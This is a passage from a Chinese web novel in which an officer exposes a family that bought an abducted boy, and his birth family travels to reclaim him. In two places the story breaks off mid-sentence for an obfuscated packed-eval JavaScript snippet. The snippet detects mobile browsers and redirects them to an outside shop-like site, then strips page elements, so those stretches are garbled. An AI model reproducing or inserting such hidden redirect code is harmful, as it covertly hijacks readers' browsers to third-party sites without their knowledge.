“又不是什么绝症,值不值的我自己知道,你们不必再说了,我跟他只是因为彩礼没谈拢,还没想分手。”周子琰不清楚这事是不是真的,不过这不重要。 就算小东真的不能生育,她也不会轻视他。 王大石见这个法子不管用,只得下狠手了:“周指导,我还是劝你一句,换个人吧。咱家耀宗啊,八字太硬,克母克妻,会害了你的,不信你问问,当初他妈妈生他,是不是大出血差点死了,最后把子宫摘了才捡回一条命。” 这话一出口,周子琰是真的恼了。 人谈伯母生他的时候可顺利了,一点事都没有。 这群人血口喷人,变相诅咒谈伯母,真是无耻至极。 可是不等她开口,吴旭东便起身道:“没错,算命的说过了,我活不过二十五岁,你选个健康的吧。” 周子琰震惊:“你胡说什么呢?” “我不能害你。”吴旭东嫌烦了,他知道这群人的目的,也知道周子琰的好,这就够了。 他希望周子琰不要考虑他的感受,先把这个戏演下去,要不然,接下来还不知道这群人要怎么泼他脏水呢。 说不定还会说王大毛的孩子是他的,到时候他的名声就彻底臭了。 不用怀疑,这群人什么都干得出来。 他不想再为这个问题纠缠了,反正只是为了挑唆他们内讧,让周子琰重新选个男朋友,最能激起这群人争夺的斗志。 也最能让他们狗咬狗。 他转身往卧室去了:“我看会书,饭好了喊我。” 王大石一看,计策奏效,立马把他的三个儿子往前拽了拽。 周子琰却起身,追到了房间里面。 关上门,她看着坐在窗口的吴旭东,走过去搓了搓他的头发:“别跟这种人一般见识。” “我没有。”吴旭东抬头,摁住了她的手,“就这样,事情会顺利一点。” “你说过会听我的。”周子琰不忍心,就算是演戏,这么做也太伤人了。 吴旭东握紧兜里的黄鹤楼:“姐,我知道你愿意护着我,这就够了。” 周子琰心疼坏了,没忍住,抱了抱他。 二十二岁的男大学生,坐在那里便是一道风景。 二十四岁的女军官,站在旁边宛如一座灯塔。 只要灯塔亮着,黑夜便一点也不可怕。 吴旭东没动,脸埋在漂亮姐姐的心口,滚烫一片。 他的声音闷闷的,带着一丝难为情:“松手吧姐,我怕热。” 怕我再也离不开你的热。 怕我一头栽进去,再也不愿意醒来。 周子琰不再勉强,转身的时候用力握了握他的肩膀。 倔强的流浪儿反握住她的手,他真的没事,真的。 不过她再不走的话,他会有事。 他会控制不住自己。 他会想要亲她。 快走。 他盯着她那水润红艳的唇,一遍遍在内心呐喊。 直到周子琰出去了,他才松了口气。 默默抚摸着被她用力握过的肩膀。 那里残留着她的余温,燥热,坚定。 他需要拼尽全力,才能压制住那股原始的冲动,不去亲她。 身体还是很凉,但这一丝的暖却长驱直入,直达心湖。 荡起一阵汹涌的浪。 他想,他就快变成水鬼了。 * 周子琰出去后,王大石一脸期待的看着她。 并不知道她是个报复心很重的人。 虽然她答应了小东,按着现在的发展演下去,可她没说要在这三个歪瓜裂枣里选啊。 虽然其中有一个长得还算人模人样的。 搞不好错种了。 周子琰认真看了看,不满道:“你这三个儿子太丑,看不上,你们村里没有长得帅的吗?” 王大石:……丑吗?不觉得啊。 王大柱:对不住了哥,给你机会你不中用啊。 王腾虎:我这三个弟弟哪个不比我帅?看来周指导眼里的我是也个丑八怪?好气。 楚劲雄:姐姐好厉害,这波打脸够爽的,也算是替吴旭东出了口恶气。 王家两丑:……这个女人是不是太残忍了?瞎说什么大实话。 王家小帅:我也丑?这个女人瞎了。 正面面相觑,王大河跟王大灶来了。 这种好事,谁也不肯落后啊。 王大石家已经有个军转干部的虎子了,也该给他们家一点机会了。 王大河最是心思深沉,来了没有说什么,只把他的儿子往前推。 王大灶则鲁莽多了,一来便咋呼道:“二哥,听说你那个便宜儿子攀上高枝了?这可不行啊,当初兄弟们没少帮衬你家,你可不能忘恩负义啊。” 说罢王大灶看了眼坐在堂屋的女人,笑道:“你就是周指导吧?我跟你说,耀宗命硬得很,你还是找个父母双全的有福气的小子比较好。不信你看看我这儿子,身强体壮——” 话还没说完,周子琰抓住他的漏洞,问道:“‘耀宗’不也父母双全吗?” “他?”王大灶撇撇嘴,他可是听大石哥说了,耀宗的亲生父母都死了。 不过没等他开口,就被王大柱一把扯了过去,毫不犹豫,一拳头挥了上去。 17. 报应(二更) 王家沟的人并不知道“王耀宗”的亲生父母还在世。 毕竟,拐走人家父母健在的孩子太丧天良,就算是一个村里的,也会在背地里指指点点。 万一邻里之间有点矛盾口角,很容易被拿出来做文章。 于是王大石对外宣称,这孩子父母双亡,六亲无靠,是他做了大好人,帮忙给这孩子找了个新的家庭。 这么一来,自然不会有人说他什么。 而王大灶这人是个大嘴巴,王大石自然不敢告诉他实情,哪怕是堂兄弟。 所以,在这些人的眼里,“王耀宗”便成了一个克父克母的煞星。 一个煞星,居然还能被一个女军官看上,准岳家还是上过电视的大人物,这下更加让人不爽了。 王大灶当然要揭“王耀宗”的老底。 一个父母双亡不知道哪儿来的野种,也配飞上枝头变凤凰?? 美得他! 一时激动,嘴巴便闯了大祸。 这下真是在老虎屁股上拔毛了,王大柱不揍他才怪呢。 一拳头挥过去,瞬间点燃了王大灶的火爆脾气。 毫不犹豫,也给这个堂哥尝尝自己的厉害。 一时间,你来我往,好不热闹。 王大石着急得不行,赶紧让三个儿子去拉架。 可是没用,王大灶是颠大勺的,那力气真不是吹的。 随随便便一掀,便把三个臭皮匠全部撅在了地上。 转身揪着王大柱的衣领子,继续斗凶拼狠。 王大河冷眼旁观,没有劝架。 打起来才好呢,当初他要把自家儿子过继给二哥,可是二哥不肯。 说什么亲兄弟家的肯定养不长,又是一个村里的,到时候肯定还是往亲生父母家里跑,白养。 这下好了,养了个外头来的野孩子,这辈子都别想养熟。 说不定野孩子真的跟着这个女人跑了,很快就能找到亲生父母了。 这才叫真的白养呢。 想到这里,王大河心里一阵暗爽。 至于什么让自己儿子去争取一下…… 王大河来之前还有些斗志,现在他看了眼周子琰的身高和那肌肉饱满的膀子,再看看自己儿子那细胳膊细腿的窝囊样子。 得了吧,他不傻,一个文弱书生,还真攀不上这样的高枝,回头在岳家受了气,当老子的是管还是不管? 不管,心疼,管,凭什么? 儿媳妇的膀子比公公还粗,不要命了? 算了,还是让他儿子老老实实在小山村里当老师吧。 有虎子的关系在,娶个镇上的姑娘就挺风光了。 至于二哥这边的闹剧…… 他也懒得管,反正这事跟他没关系。 他扭头领着自己儿子准备退场,急得王大石赶紧拦住他:“老三,你跑什么呀,快劝劝你二哥。” 王大石惜命,才不想去拉架呢,还是让老三去吧。 王大河翻了个白眼。 行吧,儿子娶老婆还得指望虎子帮衬。 王大河转身,凑到两个神经病中间,象征性的拉扯两下:“哎呀,自家兄弟,怎么随随便便动手呢,让周指导看笑话了。” “看笑话?你我才是笑话呢!咱哥儿几个谁家不是好几个儿子,当初说破了嘴皮子,让二哥过继一个,就是不听,非要养一个克父克母的野孩子,不知道的,还以为做兄弟的太小气,故意让二哥绝种呢。现在好了,耀宗马上麻雀变凤凰了,我倒要看看,耀宗飞出去之后,还能不能养他的老!可别到头来还是求到咱们哥儿几个门上,晦气!”王大灶气死了。 什么玩意儿,说句话就打人,那就别怪他揭老底了。 王大柱一听这话,彻底恼了。 这跟要他的命有什么区别? 生怕周指导不知道这孩子是买来的是吧? 要死啊! 王大柱本就脾气暴躁,爱打婆娘爱揍孩子,在家里称王称霸惯了,哪里能受这样的窝囊气。 一把搡开王大灶,冲到水井旁边,从杀鱼的王四毛手里夺过菜刀,咬牙切齿的,要跟王大灶拼命。 可是王大灶是大厨,力气比他一个好吃懒做的懒汉强多了。 几个来回,菜刀便易了主。 王大灶揪着王大柱的衣领子,晃着白惨惨的刀锋,威胁道:“道歉,不然我宰了你。” 王大柱直接啐了一口唾沫在王大灶脸上:“别做梦了,我家耀宗是大学生,你家小峰只是个小学老师,周指导就是眼瞎了也看不上你家那个废物。” “好好好,我儿子没用,你买来的野孩子最有用,我让你瞧不起人,让你瞧不起人!”王大灶是真的暴躁,抄起菜刀就想砍人。 周子琰也想让王大柱现在就死了算了。 可是这事不能这么解决,要不然,回头这群人说是为了抢她这个准儿媳才动手的,等纪律检查小组来了,搞不好连她都要吃处分的。 她站了起来。 但见一双长腿迈出,身似闪电,疾驰如风。 王大灶还没反应过来,刀子便被一个女人夺了过去。 哐当一声,丢在了水井井台上:“四毛,看好你的刀。” 话音刚落,王大灶便被周子琰单手提着,带回堂屋去了。 王大灶瘫软在地上,刚刚发生了什么,他完全没有反应过来。 这个女人…… 这个女人太可怕了! 他怔怔的看着周子琰:“你想干什么?” “看上你儿子了,跟你聊聊,是那个皮肤黑一点的高一点的吗?”周子琰撒谎不眨眼。 王大灶愣了一下,随即乐了:“对对对,小峰,快快快,过来。” 他从地上爬了起来,握住了王小峰的手,赶紧把人带到周子琰跟前。 “周指导,我儿子今年二十一,你多大了?”王大灶高兴坏了,眼睛都成了一条线。 周子琰打量了一番这个王小峰,确实长得不错,估计错种了。 她笑着说道:“我啊,二十四。” “这不正好吗,女大三抱金砖!”王大灶乐得,尾巴都快翘上天了。 看看,还是他的儿子优秀! 优秀! 周子琰点点头:“什么学历,有没有一技之长?” “高中毕业,大学差一分没考上,就学电工去了,如今在电网上班呢!人也老实,从来不搞那些花花肠子。周指导,我家儿子多,你要是想让他入赘都没有问题的。”王大灶顺杆爬,赶紧推销自己的儿子。 周子琰故作满意的点点头:“我考虑一下。先吃饭吧。以后有什么事可以直接跟我说,别动不动喊打喊杀的,现在是法治社会。” “哎!哎!都听你的!”王大灶那个乐啊,赶紧招呼了一声,“大哥,愣着干什么,快去张罗啊,桌椅板凳,都得准备起来了。” 王大石都傻眼了,这发展完全超出他的预期。 可是他能怎么办哦。 正郁闷呢,便听周子琰说道:“未免你们几个叔叔伯伯动气,一家留一个儿子陪我说说话吧,我综合考虑考虑。” 王大灶:你玩儿我呢? 王大石:看来我家小帅还有机会。 王大河:不了不了,告辞。 王大柱:感情就我儿子没戏了是吧?天杀的王大灶,老子跟你拼了。 不过他还没动手,就被王大石拽了出去。 哥俩来到院子外头,王大石劝道:“怎么,你还想跟大灶吵吵呢?当务之急,是想想怎么圆谎,万一周指导问你耀宗的身世,你就完了。” “有什么好圆谎的,就说他是孤儿啊,我好心收养,她管得着吗?”王大柱气死了,这个女人真是不咋地,这么快就放弃耀宗了。 便宜王大灶那个蠢货了。 气死了。 王大石想想也对,反正村里人都知道耀宗爸妈死了,这谎不难圆。 还是赶紧去把接风宴办起来吧,怠慢了周指导可不好。 不过他又担心,问道:“耀宗自己不会乱说吧?” “他不敢,他要是乱说,我打死五毛。”王大柱一点不带怕的,“再说,他户口还在我手里呢,他能翻天?” 王大石放心了,赶紧去张罗。 * 王腾虎很紧张,生怕周子琰问他吴旭东的身世。 可是怪得很,她居然只字不提,好像一点都不惊讶。 即便迟钝如他,也察觉出不对劲来了。 他看着被几个年轻堂弟围着的周子琰,问道:“周指导,你到底看上谁了?” 周子琰没有回答,她看了眼旁边乐呵呵的王大灶,心说等到纪律检查小组过来,他肯定第一个出卖王大柱。 但,王家有王腾虎的关系在,肯定早就把能做的手续都做全了。 如果王大柱咬死了小东是他们收养的孤儿,事情还有得拖。 她一刻也不想拖了。 直接点,从王腾虎入手吧。 她对这些王家人的试探已经结束了,其他人顶多算旁证,还是需要王腾虎这个真正的知情者提供最直接的证据。 便冲楚劲雄点点头,起身道:“小峰,你们哥儿几个去帮忙搬一下桌椅板凳,我跟你们虎子哥说点事。” 楚劲雄立马扶着王腾虎,一起去了吴旭东的房间。 让王腾虎坐下后,楚劲雄一刻也不耽误,直接出去了。 守在门口,像一尊门神,谁来都不让进。 王腾虎有点蒙,可是当他看到周子琰抱着双臂,一步一步,慢悠悠地往他跟前踱步而来的时候。 他慌了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634924|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “周指导,你怎么不高兴?”王腾虎捏了把冷汗。 周子琰没理他,拿起大哥大,直接打了个电话。 “何政委,我是周子琰,请问你那边安排好了吗?” “是小周啊,工作小组最迟明天上午就到。” “坐飞机来的?”不然不能这么快。 何政委也不想啊,可是有什么办法呢。 吴国正是他上级领导的战友,找他领导哭了一通。 找了十几年的儿子,居然就在他手下一个小连长的叔叔家里。 这事要是闹起来,谁的脸上都不好看。 上级非常重视,要他从严,从速,公正处理。 那当然要让纪律检查小组坐飞机去了。 周子琰放心了:“多谢何政委,我想让您跟王腾虎同志说两句,可以吗?” “应该的。”何政委很想赶快搞定这事。 大哥大递给王腾虎的时候,他已经汗如雨下了。 他迟迟不肯接,周子琰只好诓他:“你要是配合,顶多给你记个大过。反之,你会失去一切。” 王腾虎眼睛红了。 是怨恨,更是对自己后知后觉的懊悔。 他不明白:“你为什么要这么做?” 周子琰面无表情:“你问何政委。” * 半个小时后。 周子琰从房间出来了,临走时让吴旭东看好王腾虎。 今晚不去旅馆了,就在小东房间里守着。 只要有王腾虎在,王家的人就算察觉到什么,也不敢乱来。 何况马戏团已经在隔壁的晒谷场开演了,不少人都急死了,想赶紧吃完席去看演出呢。 开席的时候,王腾虎缺席了。 很多人好奇,问她人呢。 周子琰笑道:“今天他去试穿假腿,弄疼了伤口,吃了止痛药,睡下了。” 这话王腾虎自然能听见。 他被迫留在了西屋,隔着窗帘,别人看不到他。 他愤恨的看着吴旭东,悔得肠子都断了。 早知道就不让周子琰过来了,白天还好好的,现在忽然变脸,他连自己到底哪里露馅儿了都不知道。 难怪年纪轻轻可以坐到指导员的位置,他确实比不过。 可是,越是这样,他越是怨恨吴旭东。 一定是吴旭东骗了他,连大学的楚主任都给收买了,要不然,他不至于掉以轻心。 现在说什么都晚了,他真是哭都没地方哭。 吴旭东平静的掏出黄鹤楼,点了一根,把烟圈吐在他脸上:“别浪费时间了,快点招了吧,帮你叔办.假.证的都有谁。你说,我写。” 王腾虎气得浑身发抖:“你为什么不早点说?你故意的是不是?故意带这个女人来,把我们一网打尽!” “如果你不想说,我可以给你们何政委回电话。”吴旭东拿起周子琰留给他的大哥大,准备拨过去。 王腾虎不敢。 但他还有一个疑问:“告诉我,你跟周子琰到底什么关系?” “一起穿开裆裤的关系。” “还有呢?” “我爸跟她爸是战友。” “还有呢?” “我爸跟她妈妈做过同事。” “还有呢?” “我小姨是她大舅妈。” “没了?” “有。” “什么?” “她是我的命。” “别做梦了,她要是知道你小时候干的好事,不会要你的!” “那是我的事。” “你放过火,想把我叔烧死。要不是我路过把火灭了,等火烧起来,我叔就真的没命了。” “所以呢,死了吗?” “你在我叔碗里下过耗子药,被我看到了,没得逞。” “继续。” “你到邻居家偷东西吃!” “难道不是你让你叔饿我的?” “你还抓了毒蛇,藏在了我叔床上!” “啊,你不说我都忘了。” “你还拿着一把烧红的火钳,想烫我叔。” “我有时候真的怀疑,说不定你才是他的种。” “你还抓ha蟆,塞我嘴里,要不是我爸看到了,我已经被你噎死了。” “原来我曾经那么厉害。” “你还烧了我的准考证,害我不能考试,只能去当兵。” “不是你自己不小心吗?” “吴旭东,我不会放过你的!” “彼此彼此,所以,你还是不说是吗?” “我说,我什么都说。” “别忘了,让你爸和几个叔叔出来作证。” “没问题。”只要不剥夺他的身份,他什么都愿意配合。 18. 儿啊!!! 飞机准点起飞。 原以为这趟航班要亏本,没想到旅行团退的票转眼卖出去大半。 浩浩荡荡的二十几号人,或哭或笑,或悲或喜,匆匆而来,匆匆上机。 一切都是刚刚好。 座舱里,吴国正老泪纵横,激动异常。 十七年了,十七年! 自打东东被拐,他这个家就碎了。 老妻自责过度,总觉得是因为她生病,才让孩子小小年纪学着照顾妈妈。 要不然,哪里会被人贩子趁虚而入。 因为内疚,老妻几度自杀,不得已,小姨子谈九妹特地放下手里的一切,过来寸步不离地照顾姐姐。 这才让老妻度过了最难熬的那一年。 后来老妻不想死了,又把精力全部用来找孩子。 家里没钱了,那就直接扒火车。 曾经那个体面又骄傲的女人,放下了所谓的尊严,抛弃了无谓的脸面,不畏鄙夷的目光,不惧恶毒的言语。 用尽全力,只想把那丢失的小不点儿给找回来。 东东才五岁啊,没有能力保护自己的,得快啊,快点把他找回来! 正好住的地方就在铁路旁边,每次悠长的汽笛声响起,老妻一定会放下手中的一切,奋不顾身地去扒火车。 天王老子来了也劝不住。 好几次因为逃票被遣送回来,又是一通批评和嘲笑。 她不在乎! 什么也阻止不了一个母亲寻找幼子的决心。 后来果然出事了。 小姨子实在是心疼亲姐遭受的苦难,跑到娘家哭闹一场,让他们无论如何都要帮帮忙,起码让姐姐姐夫回到城里再说。 可是那时候情况特殊,亲人之间都有落井下石的,何况娘家兄弟也有家庭要照顾,不敢赌上前程,有心无力。 小姨子失望而归,好在二婚丈夫安家大哥告诉她,已经有人在活动了。 一问,才知道是他六妹跟老周两口子。 尤其是安家六妹,在某些大人物面前说句话,很有份量。 两口子愿意用他们的职务做担保,保证吴国正跟谈三娘两口子一点问题都没有。 果然,没过多久,一家子都离开了伤心地,回到了城里。 可是,老妻摔坏的脑子是回不去了。 连最好的医生都说,实在无力回天。 他只能放弃一切,小心照顾。 好在那时候大儿子师专毕业了,有了工作可以养活自己。 剩下两个女儿,则得到了老周夫妻的接济,安安心心上完了学。 这不,二女儿吴星南特别争气,去了文工团,后来嫁给了一个大学老师。 如今两口子都在北方定居,有一双儿女,距离东东那里不远,正好放暑假了,夫妻俩等到孩子放学,立马收拾收拾,开车赶了过去。 一家四口估计夜里八点多就能到。 三女儿吴巷北考上了大学,但她比较调皮,在学校惹是生非,不服管教。 没办法,东东被拐后,北北就成了家里的老小,全家人宠着让着,骄纵惯了。 后来是周子琰的二姐安小蕾看不过去,直接把人要了过去。 其实两人年龄差不多,但是安小蕾本事大,年纪轻轻就是科研组的成员了。 大学四年,别人住宿舍,北北住职工楼。 没多久就被安小蕾收拾得服服帖帖的。 如今跟着安小蕾在外地的某个研究所搞课题,两人都还没有结婚。 她们收到消息,已经请了假,开车去了坞头市。 从距离上估算,估计会比南南一家晚到个把小时。 所以这趟飞机上的二十几号人,除了他们老两口,以及大儿子吴燕西一家四口,其他的都是周子琰的亲眷。 而这其中,以她妈妈的亲眷为主。 倒不是她爸爸的亲眷不想来,而是来不了。 她爸爸周中擎是跟他爷爷长大的,爸妈都死在了鬼子的炮火里,从小受尽叔伯舅姨的冷眼,日子非常艰难。 所以成年后直接跟那些亲戚断绝了关系。 也正是因为有这样的经历,他很担心东东会在买家那里受委屈。 试想,连那些有血缘关系的叔伯舅姨都会作践一个没有父母的孩子,更何况是没有血缘关系的买家。 最关键的是,东东那时候已经五岁了,记事了。 他肯定会想办法逃跑的。 到时候就算买家脾气再好,也会炸毛。 东东的日子必定不好过。 所以周中擎在寻找和营救东东的事情上特别积极。 周子琰这些年不断找地方登报登杂志寻人,钱都是他和老安支持的。 这次周子琰不让今天去,也是老周两口子坚持,一定要今晚就过去。 他们可是大老板啊,手里的事情说放下就放下了。 这换了一般人还真做不到,就连吴家跟谈家自己的亲眷都不会这么重视。 所以,这份恩情,真是沉甸甸的,吴国正不知道该怎么还。 以至于他握着老友的手,迟迟不肯松开。 周中擎宽慰道:“凭你我的交情,什么都不用说。” “老周啊,实在不行,我让东东认你做干爹吧!”男儿有泪不轻弹,吴国正不在乎,哭得汹涌澎湃。 周中擎哭笑不得:“那可不行,子琰找我算账怎么办?” 吴国正不理解:“怎么,怕我家东东跟她争宠?” “哎,你这个傻老帽!我闺女为了找你儿子,自己的婚事都耽搁了,你就没想过赔我一个女婿?”周中擎说得并不委婉。 要是这都不懂,那就不怪别人都说吴国正是个傻老帽了。 吴国正果然不懂,诧异道:“你要我给你介绍女婿?哎呀,你不早说,我那大侄子刚结婚!” 周中擎不想理他了,气的。 把手抽回来,闭目养神。 这个老吴啊,让他说什么好。 难怪在风头最紧的时候不会看风向,非要傻里傻气的给什么朋友作担保。 其实讲义气是很优秀的品质,可惜老吴他太善良,看不穿那些虚伪的把戏。 结果那个朋友真的有问题。 可不就把自己牵连进去了。 周中擎每每想到都唏嘘不已,又不忍心指责老友太傻。 这个世上总是有这么一群人,习惯以最大的善意去看待别人。 他们足够真挚也足够热情,会用最好的真心来回馈别人的笑容,却不知有的人其实笑里藏刀。 所以,错的不是他们,是辜负他们真心的人。 可是今天这事,他说得还不够直白吗? 真是气人。 气得背过身去,非得好好晾一晾这个傻老帽才行。 吴国正一头雾水,只好看向老安:“弟妹,我说错话了?” 老安翻了个白眼:“不知道,自己想。” 一旁的吴燕西赶紧提醒道:“爸!我周叔的意思是让东东给他做女婿呢!” 啊? 吴国正恍然大悟:“哎呀你个老周,说话总是这么弯弯绕绕玩心眼子!也就老安受得了你!” 老安嫌弃道:“明明是你自己傻。我可把丑话说在前头,我家子琰这次为了东东,可是摔下山崖去了,命都差点没了。我不管啊,你得把小东赔给我闺女。” 吴国正:“有这回事?” “这种事我能骗你?你问问老周,他那个姓孙的兄弟是不是这么说的。”老安真是心疼死了。 她不反对子琰去找小东,可是那个傻孩子,差点把自己的命都搭上了。 吴家要是不赔她个女婿,说不过去的。 吴国正一脸懵,问道:“老周,弟妹说的是公安局那个老孙?” “不然呢?坞头市就跟他们省挨着,有什么风吹草动,很快就知道了。”周中擎也很心疼,两个孩子都疼。 干脆,别费事了,凑一对,让他和老安一起疼吧。 吴国正终于听明白了,激动得热泪盈眶,问道:“你们两口子认真的?” “当然,不过等会还是要问问子琰的想法,她要是不愿意,那就算了。咱们不做包办婚姻的家长,不好。”周中擎留了点回旋的余地。 只要子琰不反对,这事就这么办了。 吴国正求之不得。 埋怨道:“哎呀你个老周,想要我家东东做女婿就直说嘛,害我着急半天。” 周中擎嫌弃得不行,不想理他,起身换了个座位,给小孙女儿讲故事去了。 吴国正无奈,叹了口气,干脆也给他的孙女儿讲故事去。 很快,孙女儿嚷嚷,还是周爷爷那边讲的好听,立马屁颠屁颠换座位去了。 可怜吴国正,憋了一肚子的革命故事,小丫头愣是不感兴趣。 反倒是周中擎讲的什么机动战士高达的故事,引得两个小丫头惊叹不已。 他自己听了两耳朵,确实有趣,跌宕起伏,情绪饱满,悬念十足,几个孩子全都眼巴巴的等待接下来的发展。 讲着讲着,老周还拿出几张高达的贴画,几个孩子,见者有份。 孩子们兴奋坏了,一口一个谢谢爷爷,可把吴国正羡慕坏了。 这个老周啊!!! 真是个孩子王,不服不行啊。 * 王大柱家。 来客里有个穿便装的民警引起了周子琰的注意。 坐在王大石旁边,推杯换盏,一口一个兄弟,喊得亲热。 毫无疑问,这是帮凶没跑了。 很多时候都是这种人,为了一点蝇头小利,刻意忽视受害者的痛苦,成了买家的帮凶。 毕竟,这种小地方,谁家突然多了个孩子,还是五岁的,他们能不知道? 知道了,却放任买家的所作所为,甚至还帮忙补全手续,真是无耻又可恨的一种人。 不过没关系,他的好日子到头了。 周子琰不动声色地吃着。 其实没什么胃口,院子太脏,猪圈和鸡窝的臭味混在饭菜的气息里,令人作呕。 而那些恭维王大石跟王大柱的人,同样令人作呕。 不吃了。 她放下了筷子,拿来碗筷,盛了饭,夹了些菜,起身往西屋去了。 小东还没吃。 至于楚劲雄,不想让王家人怀疑,上桌随便吃了两口,便借口肚子疼不吃了。 这会儿正守在西屋里面呢。 帮忙看着点王腾虎。 周子琰一来,他便出去了,在门口看着点,以防有人听墙角。 周子琰把碗筷放下,吴旭东不肯吃:“姐,我没胃口。” “那你等等。”她车上还有一点怡口莲。 很快提着包装盒过来,给了楚劲雄几块。 关上门,周子琰抓住吴旭东的手,把糖塞他手里:“吃点这个,你这么瘦,容易低血糖。” 吴旭东:……姐你怎么什么都知道。 他把包装盒放桌上,拿起的第一块,却坚持要递给她吃。 剥好了送她嘴边,不吃就不收手。 周子琰张嘴叼走糖块的时候,唇边碰到了他指尖的皮肤。 那生命力蓬勃的燥热体温,卷起汹涌的浪,从指尖荡漾开,眨眼将他吞没。 认命了,他已经是个水鬼了。 藏着笨拙的心思,等他自己剥糖送入口中的时候,故意碰了碰指尖的那个位置。 王腾虎把一切看在了眼里。 虽然他对周子琰的一些做法后知后觉,但他对吴旭东足够了解。 不禁发出嘲讽:“你也就这点胆子了,一辈子没出息!” 吴旭东知道他在说什么,没理。 可周子琰不知道。 只当是她不在屋里的时候,两人起了争执。 当即冷下脸来:“王腾虎同志,请注意你的言行举止!” 王腾虎憋屈。 却又不甘心就这么看着吴旭东飞上枝头变凤凰。 他知道吴旭东最爱面子了,自尊心极强,很容易有应激反应。 便故意搅和道:“周指导,我只是好奇,一个男人,不想自己努力,却想吃软饭,丢不丢人?” 没想到吴旭东竟然不上当,反倒是问他:“怎么,你嫉妒?” ……王腾虎一时还真不知道怎么反驳,只得揭他老底:“我嫉妒你?不如我来数一数你小时候做的好事,帮周指导重新认识一下你?” “不需要。”周子琰打断了他,“王腾虎,我警告你,你说的每一个字我都会转述给纪律检查小组,好自为之。” “你就宠着他吧。等你发现他的真面目,你会后悔的!”王腾虎放完最后一句狠话,干脆起身,跑去吴旭东床上躺着去了。 故意的。 他知道吴旭东爱干净,不肯让人乱碰东西,便挑了最贴身最私密的床褥来挑衅。 这要是搁以前,吴旭东不炸毛才怪了。 还会当场跟他动手,到时候他可以拿这件事威胁吴国正,最好是把他的处分给免了。 可是今时不同往日,吴旭东很快就可以堂堂正正做回自己了。 这床,这房间,这里的一切都让他无比恶心,怎么还会觉得这是他的东西。 他唯一想带走的,只有他给周子琰看的那件小衣服。 其他的,一把火烧了才好。 所以他无动于衷,反倒是看向了周子琰:“姐,我要跟你坦白。” “不用。”周子琰不想听。 一定是小东为了逃跑做了些什么出格的事,被王腾虎当成了罪大恶极。 她已经够心疼了,她不想听别人说,也不想在这里听小东说。 等回去吧,回去以后,他如果想说,她愿意聆听。 现在,什么都没有解决王家人重要。 周子琰摁着吴旭东,让他坐下,转身递了纸笔给他:“所有伤害过你的人,写下来。” 吴旭东接过纸笔,却迟迟没有动作。 周子琰明白,如果生活太过苦涩,那么回忆就是最最残忍的凌迟。 可是她必须让他们付出代价。 她用力握住他的肩膀,鼓励道:“勇敢一点,一次解决。” 没错,既然要做了断,那就彻底一点。 吴旭东反握住她的手:“我没那么脆弱,放心。” 周子琰不放心,站在他旁边,陪着他写。 刚写了几个名字,大哥大响了。 周子琛打的:“姐,王家沟怎么走啊,我马上到。” “什么?你没考试吗?”周子琰看看手表,考试是下午两点啊,考完四点,现在还不到七点,不可能这么快啊! 周子琛解释道:“考了姐,我找楚主任求情,他安排了一个监考老师,让我提前考了。他还说他儿子失踪了,让我问问小东,是不是跟他在一起?” “嗯,在王家沟呢。” “那就好。姐,楚主任开的车,我们已经到东莱镇了,接下来怎么走?” 周子琰提示了几句,叮嘱道:“你们到了别说是来找小东和小楚的。” “放心吧姐,我就说是王耀宗的同学,不会露馅儿的。对了姐——” “嗯?” “南南姐应该快到了,二姐跟北北姐落后一点,大概八点半到九点之间。咱爸妈也上飞机了,跟吴伯伯他们一起,估计十点左右落地,大哥正好轮休,已经跟这里的朋友借到车了,到时候他们直接开大巴过来,夜里一点左右能到吧。不过姐,这么多人,王家沟住得下吗?” “住不下,你让南南姐和二姐他们在镇上集合,找个旅馆住下,跟爸妈碰头之后,明天上午再一起过来。” “我说了不算啊姐,他们一刻也不想等了。而且孙叔叔跟这边的领导反映过情况了,小东的案子会跟今天的货车拐卖案一起处理,省里成立了打拐工作小组已经在来的路上了。不出意外的话,坞头市的警察已经过去封路了,你别怕,那些人不敢伤害你们的。” “那你等等,我想想办法。等会打给你。” 周子琰挂断电话,盯着王腾虎。 这眼神让人头皮发麻,王腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634925|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎不得不从床上起来了,他扶着床上挂蚊帐的架子站好,问道:“怎么了?我又犯错了?” “我们两家,来了三十几个人,我先让你知道都有谁——”周子琰开始报名字,报完之后问他,“知道自己该怎么做吗?” 王腾虎捏了把冷汗:“你高看我了,这么多人,我有什么本事骗过王家沟的人?” “骗?不,你搞错了,我是在给你机会赎罪。王腾虎,别的人我不管,院子里所有的知情者参与者,你必须找个借口给我全部留下来。要不然,别怪我没提醒过你,但凡跑了一个,你的身份都是保不住的。”周子琰冷笑,拿起了大哥大。 王腾虎吓得跌坐在床上。 那藤壶一样的皮肤上,全是豆大的汗珠,每一个都像是藤壶在哭泣。 哭他的仕途,只能到此为止了。 以后别说是升迁,只怕不撤职都算不错了。 更不用说,这来的人里头,除了那些小孩子,他一个都得罪不起。 随便例举一个吧,周子琰的大舅安一方,飞机设计总工程师,某飞的元老级人物,人人都要尊称一声安总工。 吴旭东的小姨就是改嫁给了他,两人虽然是半路夫妻,婚后却生育了两个女儿,已经是血脉交融的一家人了。 至于安一方跟前头女人生的一双儿女,如今一个在法院,一个在海关。 两个孩子跟谈九妹这个后妈感情很好,就连谈九妹带过来的女儿,也是亲如亲妹,更不用说,还有两个同父异母的亲妹妹。 